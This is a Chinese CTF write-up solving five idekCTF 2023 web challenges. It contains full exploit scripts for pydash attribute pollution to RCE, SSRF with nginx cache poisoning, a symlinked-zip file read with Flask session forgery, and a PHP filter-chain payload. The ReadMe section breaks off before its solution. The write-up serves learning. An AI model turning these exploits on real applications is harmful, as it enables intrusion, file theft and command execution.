环境
环境可以在我的仓库下,备份了Dockerfile,可以本地搭建自己学习
https://github.com/Y4tacker/CTFBackup/tree/main/2023/IdekCTF
Task Manager
一个python写的好看的TODO LIST
那么我们具体来看看如何实现,这里重点看,通过json传入task与status两个参数,不同参数条件进入不同分支,通过tasks对象实现了基本的功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
def manage_tasks(): task, status = request.json.get('task'), request.json.get('status') try: if not task or type(task) != str: return {"message": "You must provide a task name as a string!"}, 400 if len(task) > 150: return {"message": "Tasks may not be over 150 characters long!"}, 400 if status and len(status) > 50: return {"message": "Statuses may not be over 50 characters long!"}, 400 if not status: tasks.complete(task) return {"message": "Task marked complete!"}, 200 if type(status) != str: return {"message": "Your status must be a string!"}, 400 if tasks.set(task, status): return {"message": "Task updated!"}, 200 return {"message": "Invalid task name!"}, 400 except Exception as e: # e. print(e) return {"message": str(e)}, 200 |
那这个tasks对象又是个啥呢?如下2333,很明显给你提示了protected里面存在一些骚东西,看着是很像SSTI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
import pydash class TaskManager: protected = ["set", "get", "get_all", "__init__", "complete"] def __init__(self): self.set("capture the flag", "incomplete") def set(self, task, status): if task in self.protected: return pydash.set_(self, task, status) return True def complete(self, task): if task in self.protected: return pydash.set_(self, task, False) return True def get(self, task): if hasattr(self, task): return {task: getattr(self, task)} return {} def get_all(self): return self.__dict__ |
同时我们再看看这个set_
方法,看doc它支持一些链式调用
但是也不是无敌的不像我们传统SSTI那样,它只能操作一些属性,而不能调用方法,同时他的操作对象是这个TaskManager
类,同时由于代码限制我们只能为其赋值为string类型,这种思想就有点类似js当中原型链污染的感觉了
同时我们再回到app.py
,如果app.env
值是yojo
,则会向全局模板函数中增加一个eval,通过add_template_global
以后我们就能在模板里使用{{eval(payload)}}
函数触发
1 2 3 4 |
def init(): if app.env == "yojo": app.add_template_global(eval) |
那么现在重点就是如何通过TaskManager
的实例对象获取到我们flask的app对象
有了这个一方面我们可以设置env,另一方面我们还可以控制before_first_request(毕竟这个只会在第一次加载时运行)
最终在python的debugger下通过点点点最终找到了这个app对象
其中_got_first_request
可以控制@app.before_first_request
的运行
非预期读文件
看看Dockerfile里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
FROM python:3.8.16-slim-bullseye RUN apt update && apt install -y xxd RUN python3 -m pip install flask pydash RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt RUN useradd ctf USER ctf WORKDIR /app COPY . . ENTRYPOINT ["python3", "app.py"] |
最后调用COPY . .
复制了所有的文件,看看文件结构这也就以为着把Dockerfile自身也复制进去了2333
姿势1
可以看到这里有个_static_url_path
属性,这是啥目录大家都知道一些静态资源文件都放下面
那么如果我们设置app._static_folder
为 /
接着访问 /static/etc/passwd
1
|
{"task":"__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._static_folder","status":"/"}
|
任意文件读
姿势2
从app.py当中看
1 2 3 4 5 6 |
def render_page(path): app._got_first_request = False if not os.path.exists("templates/" + path): return "not found", 404 return render_template(path) |
如果我们访问/../app.py
会怎么样呢,很显然报错了
我们可以看看flask的实现代码,在jinja2.loaders.FileSystemLoader.get_source
在这里首先通过split_template_path
处理路径
如果我们路径当中带有..
可以看到由于和os.path.pardir
相等,导致抛出TemplateNotFound
异常,也就是不允许跨目录
那如果我们污染了os.path.pardir
那么这里就通过了条件,不会拦截
成功实现了跨目录读
预期RCE
同时这里还有一个jinja_env
属性我们可以看到很多有趣的属性比如auto_reload,这里还有识别模板的{%%}
以及{{}}
姿势1
那么到了这里如果我们能找到一个py文件,这个py文件里面有eval
函数,那是不是我们就能成功rce了呢?这部分我和队友一直没找到,最后出题人提供了答案,在/usr/local/lib/python3.8/turtle.py
那么如果我们控制修改这个模板的标签,再配合污染os.path.pardir
,那么是不是就能渲染任意文件顺利RCE了呢
提供一个出题人的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
import requests import re base_url = "http://localhost:1337" #base_url = "https://task-manager-dc512c530573c0b4.instancer.idek.team" hijack_start = """'""']:\n value = """ hijack_end = "\n" payloads = { "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.env": "yolo", "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.globals.value": "__import__('os').popen('cat /flag-*.txt').read()", "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_start_string": hijack_start, "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_end_string": hijack_end, "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir": "ZZZ", "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._got_first_request": None, } def overwrite(attr, value): data = {"task": attr, "status": value} requests.post(base_url + "/api/manage_tasks", json=data) def get_flag(): url = base_url + "/../../usr/local/lib/python3.8/turtle.py" s = requests.Session() r = requests.Request(method='GET', url=url) prep = r.prepare() prep.url = url r = s.send(prep) flag = re.findall('idek{.*}', r.text)[0] print(flag) for k, v in payloads.items(): overwrite(k, v) get_flag() |
姿势2
学习自国外友人https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager
从编译入手很秀,在生成模板的过程中jinja2.compiler.CodeGenerator.visit_Template
如果我们污染了exported变量那么就可以控制模板的生成
正好是可以的
之后访问渲染任意模板的时候就能触发RCE,很厉害!
Proxy viewer
比较有意思的题目,首先看看app.py中关键路由部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
app = Flask( __name__, static_url_path='/static', static_folder='./static', ) PREMIUM_TOKEN = os.urandom(32).hex() limiter = Limiter(app, key_func=get_remote_address) def add_headers(response): response.cache_control.max_age = 120 return response def index(): return render_template('index.html') def proxy(path): remote_addr = request.headers.get('X-Forwarded-For') or request.remote_addr is_authorized = request.headers.get('X-Premium-Token') == PREMIUM_TOKEN or remote_addr == "127.0.0.1" try: page = urlopen(path, timeout=.5) except: return render_template('proxy.html', auth=is_authorized) if is_authorized: output = page.read().decode('latin-1') else: output = f"<pre>{page.headers.as_string()}</pre>" return render_template('proxy.html', auth=is_authorized, content=output) |
其中比较关键的是这个/proxy
路由,存在一个ssrf漏洞,但是必须is_authorized
为true
才会返回全部结果,否则只返回响应头
另一个关键的地方就是nginx的配置,可以看见如果以/static/开头那么就会缓存对应页面内容
同时可以看到对/开头的所有请求都会增加一个XFF头,因此对于上面的remote_addr我们无法进行伪造,因为nginx对此处理是追加ip,比如(XFF:127.0.0.1,readlip
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
events { worker_connections 1024; } http { include mime.types; proxy_cache_path /tmp/nginx keys_zone=my_zone:10m inactive=60m use_temp_path=off; server { listen 1337; client_max_body_size 64M; location / { proxy_set_header Host $http_host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://localhost:3000; } location ^~ /static/ { proxy_pass http://localhost:3000; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_cache my_zone; add_header X-Proxy-Cache $upstream_cache_status; } } } |
这里还要用到一个trick就是,urlopen内部处理时会在urllib.request.Request.full_url
中去除#后面部分
1 2 3 4 5 6 7 8 9 10 11 12 13 |
def full_url(self, url): # unwrap('<URL:type://host/path>') --> 'type://host/path' self._full_url = unwrap(url) self._full_url, self.fragment = _splittag(self._full_url) self._parse() def _splittag(url): """splittag('/path#tag') --> '/path', 'tag'.""" path, delim, tag = url.rpartition('#') if delim: return path, tag return url, None |
因此配合这个trick,我们先访问
1
|
http://127.0.0.1:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a
|
此时flask会把file%3a///flag.txt%2523/../../../static/a
整体当作
而nginx则会对url做normalize处理,最终导致nginx识别请求为http://127.0.0.1:1337/static/a
再访问即可触发缓存
1
|
http://127.0.0.1:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a
|
SimpleFileServer
也是python的flask的题目
可以看到获得flag的条件,那就是成为admin,所以很容易猜测到考点是session伪造,而flask里面这个session的生成通常和变量app.config["SECRET_KEY"]
息息相关
1 2 3 4 5 |
def flag(): if not session.get("admin"): return "Unauthorized!" return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8") |
因此一切的前提是我们能获得这个SECRET_KEY
1
|
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]
|
而这部分生成在config.py当中
1 2 3 |
SECRET_OFFSET = 0 # REDACTED random.seed(round((time.time() + SECRET_OFFSET) * 1000)) os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "") |
要爆破这部分很明显一是我们需要知道这个time.time()
的值,另一个还需要知道SECRET_OFFSET
的偏移
除开注册与登录路由,upoad支持上传一个zip文件并解压到指定目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
def upload(): if not session.get("uid"): return redirect("/login") if request.method == "GET": return render_template("upload.html") if "file" not in request.files: flash("You didn't upload a file!", "danger") return render_template("upload.html") file = request.files["file"] uuidpath = str(uuid.uuid4()) filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip" file.save(filename) subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"]) flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success") logger.info(f"User {session.get('uid')} uploaded file {uuidpath}") return redirect("/upload") |
uploads/xxx路由支持我们之间读取上传解压后的文件内容
1 2 3 4 5 6 |
def uploads(path): try: return send_from_directory(DATA_DIR + "uploads", path) except PermissionError: abort(404) |
这个读文件部分按理说只能读取uploads下的文件,看看底层实现用的是safe_join不支持跨目录读取
可以看到在这里获取路径path后,最终调用open打开文件并返回内容
解决方法是可以配合symlink软连接实现任意文件读,这样我们一方面可以读config.py获取SECRET_OFFSET
另一方面为了得到时间
可以看到题目很良心的在server.log
当中输出了time
1 2 3 4 5 6 7 8 9 10 |
# Configure logging LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log') LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{')) logger = logging.getLogger("application") logger.addHandler(LOG_HANDLER) logger.propagate = False for handler in logging.root.handlers[:]: logging.root.removeHandler(handler) logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s') logging.getLogger().addHandler(logging.StreamHandler()) |
不过这个时间不是精确的,通过转换为时间戳我们只能精确到整数部分,不过好在这里随机数的seed是配合round做了取整因此我们就能很容易实现爆破了
我们可以很方便配合这个信息得到time.time()的值
本地ln做一个symlink的文件
之后爆破到SECRET_KEY
后,修改admin为true再生成session即可
1
|
decoded = {'admin': True, 'uid': userinfo['username']}
|
最终exp,配合flask_unsign
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
import base64 import requests, re, time, datetime, random import flask_unsign sess = requests.session() SECRET_OFFSET = -67198624 * 1000 userinfo = {"username": "yyds", "password": "yyds"} baseurl = "http://127.0.0.1:1337/" pocZip = "UEsDBAoAAAAAACJsMVZvT1MBDwAAAA8AAAAKABwAc2VydmVyLmxvZ1VUCQADDzPGYw8zxmN1eAsAAQT1AQAABBQAAAAvdG1wL3NlcnZlci5sb2dQSwMECgAAAAAAG2wxVuPo95IOAAAADgAAAAkAHABjb25maWcucHlVVAkAAwUzxmMFM8ZjdXgLAAEE9QEAAAQUAAAAL2FwcC9jb25maWcucHlQSwECHgMKAAAAAAAibDFWb09TAQ8AAAAPAAAACgAYAAAAAAAAAAAA7aEAAAAAc2VydmVyLmxvZ1VUBQADDzPGY3V4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAABtsMVbj6PeSDgAAAA4AAAAJABgAAAAAAAAAAADtoVMAAABjb25maWcucHlVVAUAAwUzxmN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAIAAgCfAAAApAAAAAAA" cookie = "" log_url = "" def register(): reg_url = baseurl + "register" sess.post(reg_url, userinfo) def login(): global cookie set_cookie = sess.post(baseurl + "login", data=userinfo, allow_redirects=False).headers['Set-Cookie'] cookie = set_cookie[8:82] def upload(): global log_url log_url = re.search('<a href="/uploads/.*">', sess.post( baseurl + "upload", headers={'Cookie': f'session={cookie}'}, files={'file': base64.b64decode(pocZip)}).text).group()[9:-2] def read(): server_log = baseurl + log_url + "/server.log" config = baseurl + log_url + "/config.py" SECRET_OFFSET = int(re.findall("SECRET_OFFSET = (.*?) # REDACTED", sess.get(config).text)[0]) * 1000 log = sess.get(server_log).text now = (time.mktime(datetime.datetime.strptime(log.split('\n')[0][1:20], "%Y-%m-%d %H:%M:%S").timetuple())) * 1000 return SECRET_OFFSET,now if __name__ == '__main__': register() login() upload() SECRET_OFFSET, now = read() while 1: decoded = {'admin': True, 'uid': userinfo['username']} random.seed(round(now + int(SECRET_OFFSET))) SECRET_KEY = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "") flag_url = baseurl + "flag" res = sess.get(flag_url, headers={'Cookie': f'session={flask_unsign.sign(decoded, SECRET_KEY)}'}).text if "idek" not in res: now += 1 print(now) continue print(res) break |
ReadMe
很简单签到题,算是个逻辑漏洞问题
这个程序中只有一个路由
1
|
http.HandleFunc("/just-read-it", justReadIt)
|
首先简单看一下可以得出程序逻辑如果能成功走到justReadIt函数最下方就能获得flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
func justReadIt(w http.ResponseWriter, r *http.Request) { defer r.Body.Close() body, err := ioutil.ReadAll(r.Body) if err != nil { w.WriteHeader(500) w.Write([]byte("bad request\n")) return } reqData := ReadOrderReq{} if err := json.Unmarshal(body, &reqData); err != nil { w.WriteHeader(500) w.Write([]byte("invalid body\n")) return } if len(reqData.Orders) > MaxOrders { w.WriteHeader(500) w.Write([]byte("whoa there, max 10 orders!\n")) return } reader := bytes.NewReader(randomData) validator := NewValidator() ctx := context.Background() for _, o := range reqData.Orders { if err := validator.CheckReadOrder(o); err != nil { w.WriteHeader(500) w.Write([]byte(fmt.Sprintf("error: %v\n", err))) return } ctx = WithValidatorCtx(ctx, reader, int(o)) _, err := validator.Read(ctx) if err != nil { w.WriteHeader(500) w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err))) return } } if err := validator.Validate(ctx); err != nil { w.WriteHeader(500) w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err))) return } w.WriteHeader(200) w.Write([]byte(os.Getenv("FLAG"))) } |
我们一点一点来看,首先是接受了一个传来的json数据,解析保存到reqData当中,从下面可以看出只接收一个完全由数字组成的int数组,字段名叫orders
1 2 3 |
type ReadOrderReq struct { Orders []int `json:"orders"` } |
之后会用randomData初始化一个reader
1
|
reader := bytes.NewReader(randomData)
|
而这个randomData则是由initRandomData函数初始化,记住这个password复制在了12625之后
1 2 3 4 5 6 7 8 |
func initRandomData() { rand.Seed(1337) randomData = make([]byte, 24576) if _, err := rand.Read(randomData); err != nil { panic(err) } copy(randomData[12625:], password[:]) } |
初始化之后会遍历reqData.Orders
调用CheckReadOrder
检查oders中的int值范围是否在0-100
1 2 3 4 5 6 |
func (v *Validator) CheckReadOrder(o int) error { if o <= 0 || o > 100 { return fmt.Errorf("invalid order %v", o) } return nil } |
之后根据数值读出指定位数的值
1 2 |
ctx = WithValidatorCtx(ctx, reader, int(o)) _, err := validator.Read(ctx) |
再往下就是最关键的地方,如果这里的validate校验过了才能拿到flag
1 2 3 4 5 6 7 8 |
if err := validator.Validate(ctx); err != nil { w.WriteHeader(500) w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err))) return } w.WriteHeader(200) w.Write([]byte(os.Getenv("FLAG"))) |
这个函数功能就是读32位,之后与password比较,成功返回true,而我们前面说过这个password复制在了12625之后,并且oders数组容量最多只能有10个数字
1 2 3 4 5 6 7 8 9 10 11 |
func (v *Validator) Validate(ctx context.Context) error { r, _ := GetValidatorCtxData(ctx) buf, err := v.Read(WithValidatorCtx(ctx, r, 32)) if err != nil { return err } if bytes.Compare(buf, password[:]) != 0 { return errors.New("invalid password") } return nil } |
就算全取最大100,10个也才1000,距离我们的12625还差很远
再往前看发现read之前
1 2 3 4 5 6 7 8 9 |
func (v *Validator) Read(ctx context.Context) ([]byte, error) { r, s := GetValidatorCtxData(ctx) buf := make([]byte, s) _, err := r.Read(buf) if err != nil { return nil, fmt.Errorf("read error: %v", err) } return buf, nil } |
有这样一个调用,如果size大于等于100会调用一个bufio.NewReader
1 2 3 4 5 6 7 8 |
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) { reader := ctx.Value(reqValReaderKey).(io.Reader) size := ctx.Value(reqValSizeKey).(int) if size >= 100 { reader = bufio.NewReader(reader) } return reader, size } |
这个defaultBufSize是4096
1 2 3 4 |
// NewReader returns a new Reader whose buffer has the default size. func NewReader(rd io.Reader) *Reader { return NewReaderSize(rd, defaultBufSize) } |
最终
Paywall
想看原理的移步陆队之前写的,我是脚本小子
https://tttang.com/archive/1395/#toc_iconv-filter-chain
本题是用php实现的一个blog系统,除开样式读取核心代码非常简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
error_reporting(0); set_include_path('articles/'); if (isset($_GET['p'])) { $article_content = file_get_contents($_GET['p'], 1); if (strpos($article_content, 'PREMIUM') === 0) { die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions } else if (strpos($article_content, 'FREE') === 0) { echo "<article>$article_content</article>"; die(); } else { die('nothing here'); } } |
可以看到,对于文章内容前是PREMIUM
的不能读取,FREE
的则可以读
很可惜我们的flag文件恰好前面也是PREMIUM
,那么要想读取这个文件很显然我们可以配合php的filter构造出FREE四个字母也就可以实现读取了
下面是工具
https://github.com/synacktiv/php_filter_chain_generator
https://github.com/WAY29/php_filter_chain_generator
发现直接生成出来的虽然有FREE,但是都无法看了
1
|
FREE�B�5$TԕT���FV��F�F��U�E�7V'65##�u�C��W%��7w5�W"����>==�@C������>==�@
|
然而发现把每个环节的convert.iconv.UTF8.UTF7
去掉
就可以变成明文了,脚本小子表示很神奇,最后为了不丢失符号(毕竟Base64字符里面没有一些特殊符号!{}!
之类的),因此第一步事先base64enccode一下
最终得到payload
1
|
http://127.0.0.1/?p=php://filter/convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode/resource=flag
|
但是根据这样构造本地发现会少最后三个字符,除开}符号还剩两个
看看题目描述可以猜出最后俩字符,Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPPaper,最后一个字母肯定是个符号所以是!
1
|
idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}
|
当然最后发现工具也可以直接用,注意后面有俩空格
1
|
python php_filter_chain_generator.py --chain 'FREE '
|
得到
1
|
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag
|
本脚本小子觉得很有意思就是了